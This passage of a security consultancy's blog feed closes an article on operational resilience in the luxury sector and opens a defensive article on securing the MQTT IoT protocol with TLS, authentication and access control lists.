<h5 style="text-align: justify;">       Pillar 5: Crisis management capability</h5>
<p style="text-align: justify;">This involves setting up a framework to manage all types of crises that may arise and that the entity will need to manage: IT, cyber, safety, and business-related. Entities in the luxury sector, due to their “manufacturing” nature, often operate numerous geographically dispersed sites, hosting a variety of professions. These elements must be taken into account to adapt the crisis management framework and ensure that relevant exercises are conducted.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;"><strong>       </strong>Pillar 6: IT systems resilience</h5>
<p style="text-align: justify;">Given its central role and the technical complexity, it entails, the information system requires particular attention to ensure it is sufficiently protected against threats and can maintain the continuity of its critical services, even in degraded conditions. In the luxury sector, where digitalization process remains relatively recent or still ongoing, a major strategic opportunity emerges integrate resilience considerations from the design phase.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">       Pillar 7: Resilience culture and governance</h5>
<p style="text-align: justify;">At the heart of the approach, developing an operational resilience strategy is essential, led by clearly identified stakeholders. It is equally important to build on the unique corporate culture of each luxury House — a true driver of employee engagement — by progressively embedding a culture of resilience.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;"><strong>The state of operational resilience in the luxury sector</strong></h3>
<p style="text-align: justify;"><strong> </strong></p>
<p style="text-align: justify;">To establish this overview, we relied on the results of our CyberBenchmark and OpResBenchmark. These two tools respectively assess the maturity level of entities in terms of cybersecurity and operational resilience, while positioning them relative to the rest of the market.</p>
<p style="text-align: justify;">The combination of these tools allowed us to consolidate data from the evaluation of over 150 entities, including a significant number from the luxury sector.<br />These insights enable us to present the overview below, illustrating the sector’s maturity level across all seven pillars of operational resilience.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-27908 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/Illustration-EN-1.png" alt="" width="1432" height="684" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/Illustration-EN-1.png 1432w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/Illustration-EN-1-400x191.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/Illustration-EN-1-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/10/Illustration-EN-1-768x367.png 768w" sizes="auto, (max-width: 1432px) 100vw, 1432px" /></p>
<p style="text-align: justify;"> </p>
<p style="text-align: center;"><em>According to 2025 data of the </em><a href="https://www.wavestone.com/en/insight/2025-cyber-benchmark-measured-progress-persistent-challenges/"><em>Wavestone’s CyberBenchmark and OpRes Benchmak</em></a></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Upon reviewing this data, the most obvious finding lies in the market average (47.5%):<br />Entities across all sectors appear to be not very resilient. However, there are significant disparities, particularly depending on the level of regulation in each sector.<br />Naturally, the financial sector, currently undergoing compliance with DORA (Digital Operational Resilience Act), shows a high level of maturity across all pillars.<br />Meanwhile, the energy sector, also regulated, must contend with complex industrial systems and heavy legacy infrastructures, which complicate its operational resilience.</p>
<p style="text-align: justify;">The context of the past five years &#8211; marked by major challenges to business continuity (COVID-19, military conflicts, rising cyber threats, etc.) &#8211; along with the operational resilience recognition in several regulatory texts (e.g., DORA, CER, CRA, NIS 2) seems to be reversing the trend. We are seeing more entities becoming aware of the importance of operational resilience and beginning to launch significant initiatives to address the issue.</p>
<p style="text-align: justify;">In terms of maturity, the luxury sector stands out with an average of 53.4%.<br />Even though it is not directly targeted by regulation, we have observed a proactive approach to the topic, particularly from CISOs of luxury Houses, who have initiated numerous resilience-related projects. Accustomed to the pursuit of excellence, the luxury sector is embracing the topic voluntarily, convinced that it represents a strategic challenge for the future.</p>
<p style="text-align: justify;">This position even seems to allow it to leverage best practices established by regulation, focusing on what matters most, without being burdened by compliance constraints or oversight from authorities (incident reporting, audit preparation, evidence sharing…).</p>
<p style="text-align: justify;">In practice, this translates into the sector being ahead of many other unregulated industries in terms of operational resilience — even though we are still at the beginning of the journey.</p>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">       On crisis management and IT resilience</h5>
<p style="text-align: justify;">The consequences of poorly managed crises are often severe — financially, legally, and reputationally. We can easily imagine, for a luxury House, the impact of being unable to process customer payments or a fire affecting a raw materials warehouse. Luxury brands have therefore long been structured to manage the crises they face.</p>
<p style="text-align: justify;">However, these crises now frequently originate from incidents affecting information systems.<br />In 2022, 62% of luxury sector companies were victims of ransomware attacks, resulting in average financial losses of around €5 million per incident. At the same time, stolen data is increasingly circulating on the Dark Web. According to Dark Web Monitor, listings offering sensitive information — such as upcoming product plans or confidential marketing strategies — have increased by 78%. For example, in 2022, the Italian House Moncler suffered a data breach, with a ransom demand of $3 million to prevent the disclosure of information related to its wealthiest clients<a href="#_ftn6" name="_ftnref6">[6]</a>.</p>
<p style="text-align: justify;">Crisis management therefore relies heavily on IT resilience mechanisms, which materialize the decisions made by the crisis unit. These mechanisms include backups, flow blocking, and workaround solutions. They also play a key role in incident prevention and detection, through tools such as EDRs, IDS/IPS probes, automated patch deployment, and regular configuration testing.</p>
<p style="text-align: justify;">    </p>
<h5 style="text-align: justify;">      On third-party risk management</h5>
<p style="text-align: justify;">The sector’s maturity on this pillar is largely due to the historical awareness among luxury companies of the criticality of their value chains, both upstream (leather, silk, precious stones sourcing…) and downstream (finished product distribution). These value chains involve numerous external providers — extraction, maritime or road transport, logistics hubs — whose failure can lead to major commercial consequences.</p>
<p style="text-align: justify;">Among the suppliers of major luxury Houses, one often finds small artisanal businesses, holders of rare and hard-to-replace expertise. At first glance, their small size might suggest low risk management maturity. However, due to their strategic value, these artisans receive special attention. Luxury Houses adopt a collaborative approach to support them in managing their risks, including in the IT domain, even though IT systems remain limited in these artisanal structures. This collaboration takes the form of regular audits, sharing of best practices, and in some cases, acquisitions that allow for full integration and maturity development aligned with the standards of the luxury House.</p>
<p> </p>
<h5 style="text-align: justify;">       On understanding critical activities and assets</h5>
<p style="text-align: justify;">This pillar is particularly complex to master for luxury entities, which are generally divided into Houses/entities with very different business lines, sometimes spread across multiple continents. This structure gives a certain autonomy to the various business units, which can complicate the proper sharing of information with the teams responsible for resilience at the group level.</p>
<p> </p>
<h5 style="text-align: justify;">       On governance and resilience culture</h5>
<p style="text-align: justify;">This pillar is the least well mastered by the sector. Luxury even ranks slightly below the market average. Indeed, roles and responsibilities are rarely clearly defined, and a common governance structure is often nonexistent. As a result, several similar projects may compete with one another, or be handled incompletely (e.g., from an IT perspective without considering BIAs conducted by business teams).</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Our recommendations to improve operational resilience in the luxury sector</h3>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Wavestone supports multiple entities across all sectors in their operational resilience initiatives. Considering specificities of the luxury sector mentioned earlier, we identify four key recommendations:</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><strong>Draw inspiration from regulations while remaining pragmatic (DORA, CER, NIS 2, Solvency II, LPM, etc.):</strong> Luxury is not directly subject to these regulations, yet it is relevant to leverage them as best practice frameworks. With DORA, the financial sector is progressing rapidly on the topic, and its feedback and experience can be valuable to the luxury sector. Obviously, it is essential to remain pragmatic and retain only the measures that are relevant to the specific luxury entity and its characteristics. It is important to avoid overloading business teams with purely regulatory requirements, which are primarily designed to help supervisory authorities fulfill their role.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><strong>Test and learn:</strong> Testing is an essential component of an operational resilience strategy.<br />It is through testing that one can measure the effectiveness of continuity solutions (BCP, DRP, crisis management tools, etc.), draw lessons, and continuously improve them.<br />Notably, threat-based penetration testing (as described in DORA and the TIBER-EU framework) allows for end-to-end testing of operational teams, including third parties, and can therefore be highly insightful even outside the financial sector.</p>
<p> </p>
<p style="text-align: justify;"><strong>Establish a Group-level strategy:</strong> This helps avoid contradictory initiatives at the entity level and/or between IT/Cyber teams and business units, while also enhancing efficiency. Moreover, this strategy allows for the definition of a target maturity level, tailored to the specific needs of each entity.</p>
<p> </p>
<p style="text-align: justify;"><strong>Build on existing foundations:</strong> Due to their specificities, luxury entities may have already implemented continuity solutions and/or governance structures suited to operational resilience (third-party management, crisis management, cybersecurity programs, etc.).<br />It is important not to start from scratch, but rather to capitalize on existing assets to initiate a tailored approach.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"><a href="#_ftnref1" name="_ftn1">[1]</a> Luxury in Transition: Securing Future Growth, Bain &amp; Company</p>
<p style="text-align: justify;"><a href="#_ftnref2" name="_ftn2">[2]</a> The main French stock index</p>
<p style="text-align: justify;"><a href="#_ftnref3" name="_ftn3">[3]</a> Le luxe français : pourquoi ce secteur déjoue toutes les crises, La Fabrique de l’industrie</p>
<p style="text-align: justify;"><a href="#_ftnref4" name="_ftn4">[4]</a> Doctrine interarmées, DIA-3.4.1_RESILIENCE, N° 23/ARM/CICDE/NP du 08 février 2022.</p>
<p style="text-align: justify;"><a href="#_ftnref5" name="_ftn5">[5]</a> This standard defines features of a “business continuity management system”</p>
<p style="text-align: justify;"><a href="#_ftnref6" name="_ftn6">[6]</a> À quels enjeux de cybersécurité les grands noms du luxe sont-ils confrontés ?, L’Usine Digitale</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/10/operational-resilience-in-the-luxury-sector/">Operational resilience in the luxury sector</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/10/operational-resilience-in-the-luxury-sector/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>The security of the MQTT protocol</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/10/the-security-of-the-mqtt-protocol/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/10/the-security-of-the-mqtt-protocol/#respond</comments>
		
		<dc:creator><![CDATA[Madeline Salles]]></dc:creator>
		<pubDate>Wed, 01 Oct 2025 07:37:41 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[IoT & Consumer goods]]></category>
		<category><![CDATA[Manufacturing & Industry 4.0]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27856</guid>

					<description><![CDATA[<p>“Smart homes”, “Smart devices” and even “Smart cities”: these now familiar expressions illustrate how deeply embedded the Internet of Things (IoT) is in our daily lives. At the heart of these technologies, the MQTT protocol plays a subtle yet essential role....</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/10/the-security-of-the-mqtt-protocol/">The security of the MQTT protocol</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><b><span data-contrast="none">“Smart homes”, “Smart devices” and even “Smart cities”: these now familiar expressions illustrate how deeply embedded the Internet of Things (IoT) is in our daily lives. At the heart of these technologies, the MQTT protocol plays a subtle yet essential role. This article presents methods for securing MQTT in response to the growing challenges of IoT.</span></b><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="none">In 2024, the number of connected IoT devices worldwide was estimated at around 18 billion, more than double the world&#8217;s population. From connected alarms to smart elevators, industrial sensors, and medical devices, these technologies now shape our daily lives.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="none">Recent advances in the field of IoT have transformed the way we interact with connected objects. Designed to be intuitive, they are accessible without specific expertise. The connections between them, often wireless, go almost unnoticed by users. However, behind this apparent simplicity lie sophisticated communication protocols, including MQTT. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="none">Due to its popularity and growing presence in sensitive operations, MQTT has been the subject of research for several years regarding the risks associated with its use. Here, we will focus on how it works, its potential vulnerabilities, and best practices for ensuring secure communications.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h1><span data-contrast="none">MQTT and the reasons behind its popularity</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:360}"> </span></h1>
<h2><span data-contrast="none">This protocol’s strengths</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:120}"> </span></h2>
<p><span data-contrast="none">Developed in 1999 by Andy Stanford-Clark (IBM) and Arlen Nipper (Arcom), MQTT was designed to provide a</span><b><span data-contrast="none"> lightweight</span></b><span data-contrast="none">, </span><b><span data-contrast="none">efficient</span></b><span data-contrast="none"> solution with </span><b><span data-contrast="none">low energy</span></b><span data-contrast="none"> and </span><b><span data-contrast="none">bandwidth consumption</span></b><span data-contrast="none"> for monitoring isolated oil pipelines in the desert via satellite link.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="none">It is precisely because of these fundamental properties that MQTT has now established itself as the standard for IoT data transmission. This protocol is also frequently used to upload data from sensors or connected objects to cloud platforms.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><img loading="lazy" decoding="async" class=" wp-image-27836 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_1.png" alt="" width="776" height="364" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_1.png 1410w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_1-407x191.png 407w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_1-71x33.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_1-768x360.png 768w" sizes="auto, (max-width: 776px) 100vw, 776px" /></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure 1 – MQTT key features</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2}"> </span></p>
<h2><span data-contrast="none">How it operates</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:120}"> </span></h2>
<p><strong><i>Definitions of key terms</i> </strong></p>
<p><b><span data-contrast="none">MQTT Client: </span></b><span data-contrast="none">A device that exchanges information.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><b><span data-contrast="none">MQTT Broker: </span></b><span data-contrast="none">An intermediary entity that allows MQTT clients to communicate and through which all MQTT messages pass. Specifically, the broker receives published messages and distributes them to the relevant recipients (subscribers to the corresponding topic). </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><b><span data-contrast="none">Topic: </span></b><span data-contrast="none">A string of characters used to filter and organize messages according to a hierarchical structure. When a client posts a message, they associate it with a topic. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><b><span data-contrast="none">Publish/Subscribe:</span></b><span data-contrast="none"> A model derived from the classic client/server model, in which requests are not initiated by a client requesting resources from a server, but by a server regularly sending updates to clients without active solicitation.</span></p>
<p><span data-contrast="none">MQTT is a “Machine to Machine” or M2M communication protocol that operates according to a </span><b><span data-contrast="none">Publish/Subscribe model</span></b><span data-contrast="none">, allowing for great flexibility in its implementation.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="none">MQTT clients can take on the role of</span><b><span data-contrast="none"> publisher</span></b><span data-contrast="none">, </span><b><span data-contrast="none">subscriber</span></b><span data-contrast="none">, or </span><b><span data-contrast="none">both</span></b><span data-contrast="none">. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="none">To receive the information they need, </span><b><span data-contrast="none">subscribers</span></b><span data-contrast="none"> subscribe to </span><b><span data-contrast="none">topics</span></b><span data-contrast="none"> (1), which are generally organized hierarchically within the broker (e.g., Home/Room/etc.). When a publisher sends a message intended for subscribers to that topic (2), they are notified by the </span><b><span data-contrast="none">broker</span></b><span data-contrast="none"> (3).</span></p>
<p><span data-contrast="none">As a result, MQTT clients are not required to share the same network or be active at the same time, and do not need to be synchronized with each other. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-27838 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_2-e1759302752361.png" alt="" width="1370" height="398" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_2-e1759302752361.png 1370w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_2-e1759302752361-437x127.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_2-e1759302752361-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_2-e1759302752361-768x223.png 768w" sizes="auto, (max-width: 1370px) 100vw, 1370px" /></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure 2 – Illustration of a simplified MQTT architecture</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2}"> </span></p>
<p><span data-contrast="none">Moreover, MQTT offers a </span><b><span data-contrast="none">“Quality of Service” mechanism</span></b><span data-contrast="none"> for its messages, allowing communications to be tailored to the requirements of the application. For example, it can guarantee message delivery in the event of an unstable connection. MQTT clients can select one of three QoS levels for the distribution of their messages:</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<ul>
<li><b><span data-contrast="none">QoS 0</span></b><span data-contrast="none"> « </span><b><i><span data-contrast="none">At most once » </span></i></b><span data-contrast="none">– The message will be delivered once or not at all, without acknowledgment.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><b><span data-contrast="none">QoS 1</span></b><span data-contrast="none"> « </span><b><i><span data-contrast="none">At least once » </span></i></b><span data-contrast="none">– The message will be delivered periodically until the sender receives an acknowledgment. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
<li><b><span data-contrast="none">QoS 2</span></b><span data-contrast="none"> « </span><b><i><span data-contrast="none">Once » </span></i></b><span data-contrast="none">– The message is guaranteed to be delivered once and only once.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></li>
</ul>
<p><span data-contrast="none">The chosen QoS level also affects</span><b><span data-contrast="none"> how long the message is stored locally</span></b><span data-contrast="none"> by the sender and recipient. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="none">This architecture enables </span><b><span data-contrast="none">decentralized</span></b><span data-contrast="none"> and </span><b><span data-contrast="none">scalable communications</span></b><span data-contrast="none">. These features are particularly advantageous in the IoT field, where flexibility is essential to accommodate a wide range of use cases. They also explain why MQTT extends far beyond the IoT and finds applications in many other environments, such as telemetry and industrial monitoring.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h1><span data-contrast="none">Is MQTT vulnerable?</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:360}"> </span></h1>
<p><span data-contrast="none">Like many other communication protocols, MQTT is </span><b><span data-contrast="none">not secure by default</span></b><span data-contrast="none">. Although most implementations now incorporate robust security solutions, certain weaknesses and configuration errors persist, leaving systems vulnerable.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><span data-contrast="none">To illustrate these concepts, we will look at a standard example of how this protocol is used in an industrial environment.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><img loading="lazy" decoding="async" class=" wp-image-27840 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_3.png" alt="" width="614" height="545" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_3.png 955w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_3-215x191.png 215w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_3-44x39.png 44w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_3-768x681.png 768w" sizes="auto, (max-width: 614px) 100vw, 614px" /></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure 3 – Illustration of an example of industrial use of MQTT</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2}"> </span></p>
<p><span data-contrast="none">In this scenario, all systems represented contain an MQTT client that allows users to subscribe to topics and communicate with the on-premise broker. MQTT communications are unencrypted and there is no authentication of the broker or clients, leaving it possible for an attacker to access production data exchanged in clear text or to send commands to equipment by impersonating the broker or one of its clients.</span><span data-ccp-props="{}"> </span></p>
<h1><span data-contrast="none">How can you protect yourself?</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:360}"> </span></h1>
<p><span data-contrast="none">To effectively mitigate these risks, the broker and MQTT clients must be carefully deployed and configured. Here we propose various security measures to ensure confidentiality, integrity, authenticity, and availability of end-to-end communications.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h2 aria-level="4"><span data-contrast="none">Securing the MQTT broker</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:120}"> </span></h2>
<h3><span data-contrast="none">Enabling default encryption for communications</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h3>
<p><span data-contrast="none">When </span><b><span data-contrast="none">port 8883</span></b><span data-contrast="none"> is the only MQTT port defined, unencrypted communication attempts on the broker are rejected. Furthermore, it is essential that the broker has access to a </span><b><span data-contrast="none">valid certificate</span></b><span data-contrast="none"> and </span><b><span data-contrast="none">private key</span></b><span data-contrast="none"> and that t</span><b><span data-contrast="none">he cryptographic suite</span></b><span data-contrast="none"> used is </span><b><span data-contrast="none">secure</span></b><span data-contrast="none"> (e.g., TLS 1.2 or 1.3). </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<p><img loading="lazy" decoding="async" class=" wp-image-27842 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_4.png" alt="" width="701" height="435" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_4.png 1036w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_4-308x191.png 308w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_4-63x39.png 63w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_4-768x477.png 768w" sizes="auto, (max-width: 701px) 100vw, 701px" /></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure 4 – Enabling encryption on a Mosquitto MQTT broker via a configuration file</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2}"> </span></p>
<p><span data-contrast="none">Many IoT devices have </span><b><span data-contrast="none">low computing power</span></b><span data-contrast="none"> and </span><b><span data-contrast="none">limited resources</span></b><span data-contrast="none">, so adding mechanisms such as TLS can represent a </span><b><span data-contrast="none">significant overhead</span></b><span data-contrast="none">.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h3><span data-contrast="none">Implementation of customer authentication and control of their access rights</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h3>
<p><span data-contrast="none">MQTT allows </span><b><span data-contrast="none">the</span></b> <b><span data-contrast="none">authentication of clients</span></b><span data-contrast="none"> connecting to a broker using common methods such as a username and password (with an associated password file) and </span><b><span data-contrast="none">verification of the client&#8217;s certificate</span></b><span data-contrast="none">, validated by a certification authority (the broker must have the certificate from this authority). Some brokers also allow</span><b><span data-contrast="none"> the use of external authentication solutions</span></b><span data-contrast="none">.</span><span data-ccp-props="{}"> </span></p>
<p><span data-contrast="none">To restrict subscriptions or publications on certain topics by clients, an</span><b><span data-contrast="none"> Access Control List or ACL</span></b><span data-contrast="none"> logic can be added.</span></p>
<p><img loading="lazy" decoding="async" class=" wp-image-27844 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_5.png" alt="" width="660" height="429" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_5.png 1030w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_5-294x191.png 294w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_5-60x39.png 60w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_5-768x500.png 768w" sizes="auto, (max-width: 660px) 100vw, 660px" /></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure 5 – Addition of a certificate and password authentication with access control on a Mosquitto MQTT broker</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2}"> </span></p>
<p><b><span data-contrast="none">Strict management of topics</span></b><span data-contrast="none"> is essential </span><b><span data-contrast="none">to prevent data leaks</span></b><span data-contrast="none"> and </span><b><span data-contrast="none">limit the risk of compromising</span></b><span data-contrast="none"> the broker. The use of wildcards # and + must be carefully monitored, as an overly permissive configuration would allow an attacker to access all ongoing exchanges.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h3><span data-contrast="none">Deployment of broker protection measures   </span><span data-ccp-props="{}"> </span></h3>
<p><span data-contrast="none">A quick search on the Shodan search engine reveals thousands of MQTT brokers exposed on the Internet, often left in their default configuration, whose users are unaware of their existence or implications. It is therefore essential </span><b><span data-contrast="none">to protect the broker from both internal and external threats</span></b><span data-contrast="none"> by applying </span><b><span data-contrast="none">good security practices</span></b><span data-contrast="none">, such as regularly updating the system or restricting the number of simultaneous requests and connections, to prevent denial-of-service attacks and ensure its availability.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h2 aria-level="4"><span data-contrast="none">Securing MQTT clients</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:120}"> </span></h2>
<h3><span data-contrast="none">Enabling communication encryption</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h3>
<p><span data-contrast="none">To connect to the broker, clients must use </span><b><span data-contrast="none">port 8883</span></b><span data-contrast="none"> and have a v</span><b><span data-contrast="none">alid certificate </span></b><span data-contrast="none">and </span><b><span data-contrast="none">private key</span></b><span data-contrast="none">, otherwise the connection will be rejected.</span></p>
<p><img loading="lazy" decoding="async" class=" wp-image-27846 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_6.png" alt="" width="687" height="318" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_6.png 1033w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_6-413x191.png 413w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_6-71x33.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_6-768x355.png 768w" sizes="auto, (max-width: 687px) 100vw, 687px" /></p>
<p style="text-align: center;"><i><span data-contrast="none">Figure 6 – Encrypted connection on an MQTT Paho client</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2}"> </span></p>
<p><span data-contrast="none">The use of self-signed certificates to connect to the broker is </span><b><span data-contrast="none">strongly discouraged</span></b><span data-contrast="none"> because they can be easily substituted. </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></p>
<h3><span data-contrast="none">Implementation of broker authentication (mutual authentication)</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h3>
<p><span data-contrast="none">In addition to client authentication, MQTT supports </span><b><span data-contrast="none">broker authentication</span></b><span data-contrast="none"> by verifying the certificate authority that signed its certificate, thus ensuring </span><b><span data-contrast="none">mutual authentication (mTLS)</span></b><span data-contrast="none"> and secure communications.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> <img loading="lazy" decoding="async" class=" wp-image-27848 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_7.png" alt="" width="616" height="277" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_7.png 1041w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_7-425x191.png 425w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_7-71x32.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_7-768x345.png 768w" sizes="auto, (max-width: 616px) 100vw, 616px" /></span></p>
